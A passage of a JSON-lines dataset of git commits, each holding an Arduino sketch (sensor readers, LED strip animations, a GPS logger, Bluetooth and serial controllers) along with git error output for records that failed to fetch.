example\n*\/\n\/**************************************************************************\/\nvoid initSensors()\n{\n if(!accel.begin())\n {\n \/* There was a problem detecting the LSM303 ... check your connections *\/\n Serial.println(F(\"Ooops, no LSM303 detected ... Check your wiring!\"));\n while(1);\n }\n if(!mag.begin())\n {\n \/* There was a problem detecting the LSM303 ... check your connections *\/\n Serial.println(\"Ooops, no LSM303 detected ... Check your wiring!\");\n while(1);\n }\n if(!bmp.begin())\n {\n \/* There was a problem detecting the BMP180 ... check your connections *\/\n Serial.println(\"Ooops, no BMP180 detected ... Check your wiring!\");\n while(1);\n }\n}\n\n\/**************************************************************************\/\n\/*!\n\n*\/\n\/**************************************************************************\/\nvoid setup(void)\n{\n delay(1000);\n Serial.begin(9600);\n Serial.println(F(\"Adafruit 10 DOF Pitch\/Roll\/Heading Example\")); Serial.println(\"\");\n \n \/* Initialise the sensors *\/\n initSensors();\n}\n\n\/**************************************************************************\/\n\/*!\n @brief Constantly check the roll\/pitch\/heading\/altitude\/temperature\n*\/\n\/**************************************************************************\/\nvoid loop(void)\n{\n sensors_event_t accel_event;\n sensors_event_t mag_event;\n sensors_event_t bmp_event;\n sensors_vec_t orientation;\n\n \/* Calculate pitch and roll from the raw accelerometer data *\/\n accel.getEvent(&accel_event);\n if (dof.accelGetOrientation(&accel_event, &orientation))\n {\n \/* 'orientation' should have valid .roll and .pitch fields *\/\n Serial.print(F(\"Roll: \"));\n Serial.print(orientation.roll);\n Serial.print(F(\"; \"));\n Serial.print(F(\"Pitch: \"));\n Serial.print(orientation.pitch);\n Serial.print(F(\"; \"));\n }\n \n \/* Calculate the heading using the magnetometer *\/\n mag.getEvent(&mag_event);\n if (dof.magGetOrientation(SENSOR_AXIS_Z, &mag_event, &orientation))\n {\n \/* 'orientation' should have valid .heading data now *\/\n Serial.print(F(\"Heading: \"));\n Serial.print(orientation.heading);\n Serial.print(F(\"; \"));\n }\n\n \/* Calculate the altitude using the barometric pressure sensor *\/\n bmp.getEvent(&bmp_event);\n if (bmp_event.pressure)\n {\n \/* Get ambient temperature in C *\/\n float temperature;\n bmp.getTemperature(&temperature);\n \/* Convert atmospheric pressure, SLP and temp to altitude *\/\n Serial.print(F(\"Alt: \"));\n Serial.print(bmp.pressureToAltitude(seaLevelPressure,\n bmp_event.pressure,\n temperature)); \n Serial.print(F(\" m; \"));\n \/* Display the temperature *\/\n Serial.print(F(\"Temp: \"));\n Serial.print(temperature);\n Serial.print(F(\" C\"));\n }\n \n Serial.println(F(\"\"));\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Calibration\/barometer_skeleton\/barometer_skeleton.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"763ce202fba62f8b8bf2b31ae10b413340fbe0ad","subject":"add code","message":"add code\n","repos":"cconstantine\/led_poi","old_file":"strandtest.ino","new_file":"strandtest.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n\n#define PIN 6\n#define LEDS 60\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(LEDS, PIN, NEO_GRB + NEO_KHZ800);\nvolatile int mode = 0;\n\nvoid nextMode() {\n mode = (mode + 1) % 3; \n}\n\nint prevTime = 0;\nvoid setup() {\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n Serial.begin(9600);\n \n pinMode(9, INPUT);\n digitalWrite(9, HIGH); \/\/ turn on pullup resistors\n prevTime = millis();\n}\n\n\nunsigned int scale(unsigned int num, unsigned int natural_max, unsigned int target_max) {\n unsigned long upper = (unsigned long)(num) * target_max;\n return (unsigned int)(upper \/ natural_max);\n}\n\nuint8_t brightness = 0;\n\nvoid loop() {\n static int lastPinPos = 1;\n int currentPinPos = digitalRead(9);\n if (currentPinPos == 1 && lastPinPos == 0) {\n nextMode();\n }\n lastPinPos = currentPinPos;\n \n switch(mode) {\n case 0:\n rainbow();\n break;\n case 1:\n white_down();\n break;\n case 2:\n white_down_and_back();\n }\n \n brightness = scale(analogRead(A0), 1024, 255);\n strip.setBrightness(brightness);\n strip.show();\n}\n\n\nvoid white_down_and_back() {\n const int loop_length = 3000;\n \n unsigned long pos = millis();\n pos = 2*(pos % loop_length);\n \n if (pos > loop_length ) {\n pos = (loop_length - (pos - loop_length));\n }\n \n int target_index = scale(pos, loop_length, LEDS);\n \n for(int i = 0; i < LEDS; ++i) {\n if (target_index == i) {\n strip.setPixelColor(i, 255, 255, 255);\n } else {\n strip.setPixelColor(i, 0);\n }\n }\n}\n\nvoid white_down() {\n const int loop_length = 1000;\n \n unsigned long pos = millis();\n pos = pos % loop_length;\n \n for(int i = 0; i < LEDS; ++i) {\n if (scale(pos, loop_length, LEDS) == i)\n strip.setPixelColor(i, 255, 255, 255);\n else\n strip.setPixelColor(i, 0);\n }\n}\n\n\nvoid rainbow() {\n \n const int loop_length = 10000;\n unsigned long pos = millis();\n pos = pos % loop_length;\n \n rainbowCycle(scale(pos, loop_length, 255));\n}\n\nvoid rainbowCycle(uint8_t WheelPos) {\n for(int i = 0; i < LEDS; ++i) {\n strip.setPixelColor(i, Wheel(WheelPos + i));\n }\n}\n\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n if(WheelPos < 85) {\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n } \n else if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n } \n else {\n WheelPos -= 170;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n}\n\n\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"f8083298866e38d53212033234e24f523c2048ea","subject":"SmartDisc's Brain","message":"SmartDisc's Brain\n\nAdded first version of arduino code.\n","repos":"cwoolf\/Smart_Disc","old_file":"beta\/beta.ino","new_file":"beta\/beta.ino","new_contents":"#include \"TinyGPS.h\"\n#include <SoftwareSerial.h>\n\n\/\/gps serial port RX, TX\nSoftwareSerial gss(9, 10);\nSoftwareSerial device(11, 3);\n\n\/\/keep track of how long push button was pressed\nint state = HIGH;\nint reading;\nint previous = LOW;\nlong time = 0;\nint debounce = 200; \/\/the debounce time, increase if the output flickers\n\n\/\/flags\nboolean runGPS = false;\n\nTinyGPS gps;\n\nvoid createFile(char fname[40])\n{\n int wait = 100; \/\/delay to send commands to openlog\n gss.write(26);\n gss.write(26);\n gss.write(26);\n \n \n gss.print(\"new \");\n gss.print(fname);\n gss.print(\"\/r\");\n delay(wait);\n gss.print(\"append \");\n gss.print(fname);\n gss.print(\"\/r\");\n delay(wait);\n}\n\nvoid setGPSBaud()\n{\n device.write((byte)160); \/\/A0\n delay(50);\n device.write((byte)161); \/\/A1\n delay(50);\n device.write((byte)0); \/\/00\n delay(50);\n device.write((byte)4);\n delay(50); \n device.write((byte)5); \/\/messageID\n delay(50);\n device.write((byte)0); \/\/COM PORT\n delay(50);\n device.write((byte)3); \/\/BAUD RATE: 38400\n delay(50);\n device.write((byte)0);\n delay(50);\n device.write((byte)5);\n delay(50);\n device.write((byte)13);\n delay(50);\n device.write((byte)10);\n delay(50);\n}\n\nvoid setUpdateRate()\n{\n device.write((byte)160); \/\/A0\n delay(50);\n device.write((byte)161); \/\/A1\n delay(50);\n device.write((byte)0); \/\/00\n delay(50);\n device.write((byte)3); \/\/03\n delay(50);\n device.write((byte)14); \/\/0E\n delay(50);\n device.write((byte)10); \/\/10 10Hz\n delay(50);\n device.write((byte)0);\n delay(50);\n device.write((byte)15);\n delay(50);\n device.write((byte)13);\n delay(50);\n device.write((byte)10);\n delay(50);\n}\nvoid setup()\n{\n \/\/delay(10000);\n pinMode(2, INPUT);\n pinMode(3, OUTPUT);\n pinMode(13, OUTPUT);\n \n Serial.begin(9600);\n gss.begin(9600);\n \n setGPSBaud();\n delay(1000);\n setUpdateRate();\n delay(1000);\n \n \/\/attachInterrupt(2, pushButton, CHANGE);\n \n createFile(\"test.log\");\n}\n\nvoid pushButton()\n{\n reading = digitalRead(2);\n \n if (reading == HIGH && previous == LOW && millis() - time > debounce)\n {\n if (state == HIGH)\n {\n state = LOW;\n digitalWrite(13, LOW);\n runGPS = false;\n }\n else\n {\n state = HIGH;\n digitalWrite(13, HIGH);\n runGPS = true;\n }\n }\n \n time = millis();\n \n}\n\nvoid getLocation()\n{\n int c = gss.read();\n \n if (gps.encode(c))\n {\n \n long lat, lon;\n unsigned long fix_age, speeds;\n \n gps.get_position(&lat, &lon, &fix_age);\n speeds = gps.speed();\n \n Serial.print(\"Lat: \");\n Serial.print( lat );\n gss.print(\"Lat: \");\n gss.print( lat );\n \n Serial.print(\", Lon: \");\n Serial.print( lon );\n Serial.print(\" -- speed: \");\n Serial.println(speeds);\n gss.print(\", Lon: \");\n gss.println( lon );\n gss.print(\" -- speed: \");\n gss.println(speeds);\n \n }\n}\n\nvoid loop()\n{\n while (gss.available())\n {\n getLocation();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'beta\/beta.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"136169fcfb261a8455b07f5899f122f68b8718f9","subject":"Update RN_XV_WiFly.ino","message":"Update RN_XV_WiFly.ino","repos":"ivankravets\/blynk-library,okhiroyuki\/blynk-library,ivankravets\/blynk-library,al1271\/blynk-library,CedricFinance\/blynk-library,radut\/blynk-library,sstocker46\/blynk-library,radut\/blynk-library,flashvnn\/blynk-library,radut\/blynk-library,ivankravets\/blynk-library,CedricFinance\/blynk-library,flashvnn\/blynk-library,al1271\/blynk-library,ivankravets\/blynk-library,okhiroyuki\/blynk-library,csicar\/blynk-library,sstocker46\/blynk-library,csicar\/blynk-library,sstocker46\/blynk-library,sstocker46\/blynk-library,blynkkk\/blynk-library,johan--\/blynk-library,johan--\/blynk-library,johan--\/blynk-library,okhiroyuki\/blynk-library,flashvnn\/blynk-library,al1271\/blynk-library,blynkkk\/blynk-library,csicar\/blynk-library,blynkkk\/blynk-library,radut\/blynk-library,CedricFinance\/blynk-library,csicar\/blynk-library,blynkkk\/blynk-library,al1271\/blynk-library,blynkkk\/blynk-library,CedricFinance\/blynk-library,ivankravets\/blynk-library,flashvnn\/blynk-library,johan--\/blynk-library,okhiroyuki\/blynk-library","old_file":"examples\/BoardsAndShields\/RN_XV_WiFly\/RN_XV_WiFly.ino","new_file":"examples\/BoardsAndShields\/RN_XV_WiFly\/RN_XV_WiFly.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how to use WiFly RN-XV\n * to connect your project to Blynk.\n *\n * For this example you need WiFly_Shield library:\n * https:\/\/github.com\/sparkfun\/WiFly-Shield\/tree\/master\/Libraries\/Arduino\n *\n * You may need to adjust the line in the WiFlyDevice.cpp:\n * if findInResponse(\"\\r\\nwifly-GSX Ver\", 1000)) {\n * Please replace the string with the model of your shield.\n *\n * Note: Ensure a stable serial connection!\n * Hardware serial is preferred.\n * Firmware version 4.41 or later is preferred.\n *\n * Change WiFi ssid, pass, and Blynk auth token to run :)\n * Feel free to apply it to any other example. It's simple!\n *\n **************************************************************\/\n\n\/\/#define BLYNK_DEBUG\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <SPI.h>\n#include <WiFly.h>\n#include <BlynkSimpleWiFly.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\n#define WiFlySerial Serial1 \/\/ Could be a SoftwareSerial object\n\nvoid setup()\n{\n Serial.begin(9600);\n while (!Serial) {}\n\n WiFlySerial.begin(9600); \/\/ Set your RN-XV baud rate\n while (!WiFlySerial) {}\n\n WiFly.setUart(&WiFlySerial);\n\n Blynk.begin(auth, \"ssid\", \"pass\");\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how to use WiFly RN-XV\n * to connect your project to Blynk.\n *\n * For this example you need WiFly_Shield library:\n * https:\/\/github.com\/sparkfun\/WiFly-Shield\/tree\/master\/Libraries\/Arduino\n *\n * You may need to adjust the line in the WiFlyDevice.cpp:\n * if findInResponse(\"\\r\\nwifly-GSX Ver\", 1000)) {\n * Please replace the string with the model of your shield.\n *\n * Note: Ensure a stable serial connection!\n * Hardware serial is preferred.\n * Firmware version 4.41 or later is preferred.\n *\n * Change WiFi ssid, pass, and Blynk auth token to run :)\n * Feel free to apply it to any other example. It's simple!\n *\n **************************************************************\/\n\n#define BLYNK_DEBUG\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <SPI.h>\n#include <WiFly.h>\n#include <BlynkSimpleWiFly.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\n#define WiFlySerial Serial1 \/\/ Could be a SoftwareSerial object\n\nvoid setup()\n{\n Serial.begin(9600);\n while (!Serial) {}\n\n WiFlySerial.begin(9600); \/\/ Set your RN-XV baud rate\n while (!WiFlySerial) {}\n\n WiFly.setUart(&WiFlySerial);\n\n Blynk.begin(auth, \"ssid\", \"pass\");\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"5c3cd652519deb0402fb5f5919411bee60023776","subject":"Meir fjernkontrollert","message":"Meir fjernkontrollert\n","repos":"Oegly\/NotARobotCoup","old_file":"robotcontroller\/BT_Robot_Remote_Control.ino","new_file":"robotcontroller\/BT_Robot_Remote_Control.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Oegly\/NotARobotCoup.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"d8b6cc408b857810948d7a933616c722391f52ee","subject":"initial BT serial test","message":"initial BT serial test\n","repos":"dkuulis\/folkrace,dkuulis\/folkrace","old_file":"utils\/bt_serial\/bt_serial.ino","new_file":"utils\/bt_serial\/bt_serial.ino","new_contents":"\/* Turn an LED on\/off based on a command send via BlueTooth\n**\n** Credit: The following example was used as a reference\n** Rui Santos: http:\/\/randomnerdtutorials.wordpress.com\n*\/\n\nint ledPin = 13; \/\/ use the built in LED on pin 13 of the Uno\nint state = 0;\nint flag = 0; \/\/ make sure that you return the state only once\n\nvoid setup() {\n \/\/ sets the pins as outputs:\n pinMode(ledPin, OUTPUT);\n digitalWrite(ledPin, LOW);\n\n Serial4.begin(9600); \/\/ Default connection rate for my BT module\n}\n\nvoid loop() {\n \/\/if some data is sent, read it and save it in the state variable\n if(Serial4.available() > 0){\n state = Serial4.read();\n flag=0;\n }\n \/\/ if the state is 0 the led will turn off\n if (state == '0') {\n digitalWrite(ledPin, LOW);\n if(flag == 0){\n Serial4.println(\"LED: off\");\n flag = 1;\n }\n }\n \/\/ if the state is 1 the led will turn on\n else if (state == '1') {\n digitalWrite(ledPin, HIGH);\n if(flag == 0){\n Serial4.println(\"LED: on\");\n flag = 1;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'utils\/bt_serial\/bt_serial.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b1ec35208fe405ce2d24870ccee186a990d6cb79","subject":"Add PwmOut example.","message":"Add PwmOut example.\n","repos":"tkem\/mbino,tkem\/mbino,tkem\/mbino","old_file":"examples\/mbino-example-pwmout\/mbino-example-pwmout.ino","new_file":"examples\/mbino-example-pwmout\/mbino-example-pwmout.ino","new_contents":"#include \"mbed.h\"\n\nAnalogIn ain(A0);\nDigitalOut pwm(p3);\n\nvoid setup() {\n}\n\nvoid loop() {\n pwm.write(ain.read());\n}\n\n#ifndef ARDUINO\nint main() {\n setup();\n for (;;) {\n loop();\n }\n}\n#endif\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/mbino-example-pwmout\/mbino-example-pwmout.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3b866363637d7414179c0ce486f27ea3dc1b7ede","subject":"add node ID to code","message":"add node ID to code\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/ref\/using_pulsein_function\/using_pulsein_function.ino","new_file":"arduino\/ref\/using_pulsein_function\/using_pulsein_function.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"18233880af9e230c53dd7d3b7d351e7d46043e99","subject":"Added a watchdog timer for a teensy","message":"Added a watchdog timer for a teensy\n\nThe watchdog can be used as a backup for ensuring J1939 messages are\npresent on the bus.\n","repos":"SynerconTechnologies\/SmartSensorSimulator,SynerconTechnologies\/SmartSensorSimulator","old_file":"Arduino Sketch Library\/J1939watchdog\/J1939watchdog.ino","new_file":"Arduino Sketch Library\/J1939watchdog\/J1939watchdog.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/SynerconTechnologies\/SmartSensorSimulator.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c8905380a79dca492b5273223d414f6bc5ea1215","subject":"Update Stepper1 for 200 SPM stepper.","message":"Update Stepper1 for 200 SPM stepper.\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"Stepper1\/Stepper1.ino","new_file":"Stepper1\/Stepper1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"828f06d25524b27d79e42b0addff25e58b017f6d","subject":"program to measure temperature","message":"program to measure temperature\n\nprogram to measure temperature and send the data via serially\n","repos":"rpihomeautomation\/rpihomeautomation,rpihomeautomation\/rpihomeautomation","old_file":"temperature_measurement_rev1\/temperature_measurement_rev1.ino","new_file":"temperature_measurement_rev1\/temperature_measurement_rev1.ino","new_contents":"\/*\nTemperature Measurement\n=========== ===========\nrev v.1\n#measure the temperature using LM35\n#sends the data serially for verification\n*\/\n\n\n\/\/tm-temperature measurement\n\n#define tminput A0\n\nvoid setup()\n{\n Serial.begin(9600);\n}\n\nfloat tm,tmvoltage;\nvoid loop()\n{\n tm=analogRead(tminput);\/\/read the temperature value\n tmvoltage = tm * (5 \/ 1024);\n Serial.print(\"The temperature is \");\/\/diplay the temperature\n Serial.println(tmvoltage);\n delay(500);\n} \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'temperature_measurement_rev1\/temperature_measurement_rev1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f6c9e9389be3ef0a8b7d992244224f8ac21983cd","subject":"first commit","message":"first commit\n","repos":"TEAMarg\/ID-37-DICE,TEAMarg\/ID-37-DICE","old_file":"DICE_DEV\/DICE_DEV.ino","new_file":"DICE_DEV\/DICE_DEV.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/ID-37-DICE.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8dbc195a66f709b22c664996bece3ee5974af778","subject":"added New Arduino project","message":"added New Arduino project\n\n for newer version led strip driver\n","repos":"fishkingsin\/Digitizing_ideas-electronic_integration,fishkingsin\/Digitizing_ideas-electronic_integration,fishkingsin\/Digitizing_ideas-electronic_integration","old_file":"Arduino\/SCM_OWeek_LEDStrip2\/SCM_OWeek_LEDStrip2.ino","new_file":"Arduino\/SCM_OWeek_LEDStrip2\/SCM_OWeek_LEDStrip2.ino","new_contents":"\/*\n Serial RGB controller\n \n Reads a serial input string looking for three comma-separated\n integers with a newline at the end. Values should be between \n 0 and 255. The sketch uses those values to set the color \n of an RGB LED attached to pins 9 - 11.\n \n The circuit:\n * Common-anode RGB LED cathodes attached to pins 9 - 11\n * LED anode connected to pin 13\n \n To turn on any given channel, set the pin LOW. \n To turn off, set the pin HIGH. The higher the analogWrite level,\n the lower the brightness.\n \n created 29 Nov 2010\n by Tom Igoe\n \n This example code is in the public domain. \n *\/\n\/\/https:\/\/github.com\/iKenndac\/Arduino-Dioder-Playground\n#include <Wire.h>\n#include <SoftwareSerial.h>\n#include \"Suli.h\"\n#include \"LED_Strip_Arduino.h\"\n\n#define CLK 2\/\/pins definitions for the driver \n#define DIO 3\nled_strip Driver(CLK,DIO);\n\/\/ Protocol details (two header bytes, 12 value bytes, checksum)\n\nconst int kProtocolHeaderFirstByte = 0xBA;\nconst int kProtocolHeaderSecondByte = 0xBE;\n\nconst int kProtocolHeaderLength = 2;\nconst int kProtocolBodyLength = 12;\nconst int kProtocolChecksumLength = 1;\n\n\/\/ Buffers and state\n\nbool appearToHaveValidMessage;\nbyte receivedMessage[kProtocolBodyLength];\n\nvoid setup() {\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(57600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n\n}\n\nvoid loop() {\n int availableBytes = Serial.available();\n \n if (!appearToHaveValidMessage) {\n \n \/\/ If we haven't found a header yet, look for one.\n if (availableBytes >= kProtocolHeaderLength) {\n \n \/\/ Read then peek in case we're only one byte away from the header.\n byte firstByte = Serial.read();\n byte secondByte = Serial.peek();\n \n if (firstByte == kProtocolHeaderFirstByte &&\n secondByte == kProtocolHeaderSecondByte) {\n \n \/\/ We have a valid header. We might have a valid message!\n appearToHaveValidMessage = true;\n \n \/\/ Read the second header byte out of the buffer and refresh the buffer count.\n Serial.read();\n availableBytes = Serial.available();\n }\n }\n else\n {\n Serial.println(\"FAIL\");\n }\n }\n \n if (availableBytes >= (kProtocolBodyLength + kProtocolChecksumLength) && appearToHaveValidMessage) {\n \n \/\/ Read in the body, calculating the checksum as we go.\n byte calculatedChecksum = 0;\n \n for (int i = 0; i < kProtocolBodyLength; i++) {\n receivedMessage[i] = Serial.read();\n calculatedChecksum ^= receivedMessage[i];\n }\n \n byte receivedChecksum = Serial.read();\n \n if (receivedChecksum == calculatedChecksum) {\n \/\/ Hooray! Push the values to the output pins.\n \n Driver.begin();\n \n for(int i = 0 ; i < 4 ; i++)\n {\n int index = i*3;\n Driver.setColor(receivedMessage[index], receivedMessage[index+1] , receivedMessage[index+2]);\n }\n Driver.end();\n \n Serial.println(\"OK\");\n \n } else {\n \n Serial.println(\"FAIL\");\n }\n \n appearToHaveValidMessage = false;\n }\n\n}\n\n\n\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/SCM_OWeek_LEDStrip2\/SCM_OWeek_LEDStrip2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"abd4067cb0256ce4a4819a1900095146f4a596be","subject":"Added Arduino sketch","message":"Added Arduino sketch\n","repos":"brunoksato\/wiiwandz,bigokro\/wiiwandz,brunoksato\/wiiwandz,bigokro\/wiiwandz,brunoksato\/wiiwandz,bigokro\/wiiwandz","old_file":"Arduino\/harry_potter_spells\/harry_potter_spells.ino","new_file":"Arduino\/harry_potter_spells\/harry_potter_spells.ino","new_contents":"\/*\n Harry Potter Interactive Wands\n \n Made with Little Bits\n Copied and only slightly modified from the Scent-imental Notification System\n http:\/\/www.instructables.com\/id\/Scent-imental-Notification-System\/\n \n This example code is in the public domain.\n *\/\n \n int cloudValue = 0;\n \n\/\/Give unique names to the 3 digital output pins of the Arduino\nint incendioPin = 1;\nint locomotorPin = 5;\nint aguamentiPin = 9;\n\n\/\/ The setup routine sets up the Arduino and runs once\nvoid setup() { \n \n \/\/ Initialize the digital pins as output pins.\n pinMode(incendioPin, OUTPUT);\n pinMode(locomotorPin, OUTPUT); \n pinMode(aguamentiPin, OUTPUT); \n \n \/\/uncomment the line below for debugging\n \/\/Serial.begin(9600); \n\n}\n\n\/\/ The loop routine runs over and over forever\nvoid loop() {\n \n \/\/Read the analog input from the Cloudbit\n cloudValue = analogRead(A0);\n \n \/\/Convert the analog value of 0 to 1023 to a number between 0 and 100\n cloudValue = map(cloudValue, 0, 1023, 0, 100); \n \n \/\/uncomment the line below for debugging\n \/\/Serial.println(cloudValue); \n \n \/\/Check for values from the Cloudbit\n \n \/\/If the number is 25, trigger incendio\n if((cloudValue > 10) && (cloudValue < 33)){ \n digitalWrite(incendioPin, HIGH); \n digitalWrite(locomotorPin, LOW);\n digitalWrite(aguamentiPin, LOW);\n } \n\n \/\/If the number is 50, trigger locomotor \n else if((cloudValue >= 33) && (cloudValue < 66)){ \n digitalWrite(incendioPin, LOW);\n digitalWrite(locomotorPin, HIGH); \n digitalWrite(aguamentiPin, LOW); \n } \n\n \/\/If the number is 75, trigger agumenti \n else if((cloudValue >= 66) && (cloudValue < 100)){ \n digitalWrite(incendioPin, LOW);\n digitalWrite(locomotorPin, LOW);\n digitalWrite(aguamentiPin, HIGH); \n } \n \n \/\/If the number is 0, trigger nothing\n else if(cloudValue <= 10){\n digitalWrite(incendioPin, LOW);\n digitalWrite(locomotorPin, LOW);\n digitalWrite(aguamentiPin, LOW); \n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/harry_potter_spells\/harry_potter_spells.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4bb257537b9eb12b8ea021e39537427446cb0ac8","subject":"Add periodic temps when in heating, 1 second base cycle, input cycle mult.","message":"Add periodic temps when in heating, 1 second base cycle, input cycle mult.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"26bd6da13577d64351db69e3b78a8bed2644e6f9","subject":"Add Arduino formware","message":"Add Arduino formware\n","repos":"chrislintott\/GZMaze,chrislintott\/GZMaze","old_file":"arduino\/gzconfetti\/gzconfetti.ino","new_file":"arduino\/gzconfetti\/gzconfetti.ino","new_contents":"\/*\n AnalogReadSerial\n Reads an analog input on pin 0, prints the result to the serial monitor.\n Graphical representation is available using serial plotter (Tools > Serial Plotter menu)\n Attach the center pin of a potentiometer to pin A0, and the outside pins to +5V and ground.\n\n This example code is in the public domain.\n*\/\n\nstruct buf64 {\n char str[64];\n int nextChar;\n};\nbuf64 cmdBuf;\n\n\nvoid exeCmds(char str[64]){ \/\/Take a command string (whitespace stripped) and execute it.\n\n if (str[0] == '1'){\n digitalWrite(8, HIGH);\n }\n else if (str[0] == '0'){\n digitalWrite(8, LOW);\n }\n else if (str[0] == 'M'){\n digitalWrite(7, LOW);\n }\n else if (str[0] == 'N'){\n digitalWrite(7, HIGH);\n }\n}\n\n\nvoid sendReport(String report){\n\n Serial.println(report);\n}\n\n\nvoid serialEvent(){ \/\/Upon receiving new serial data, read it in (ignoring spaces) and execute the command if a newline character is 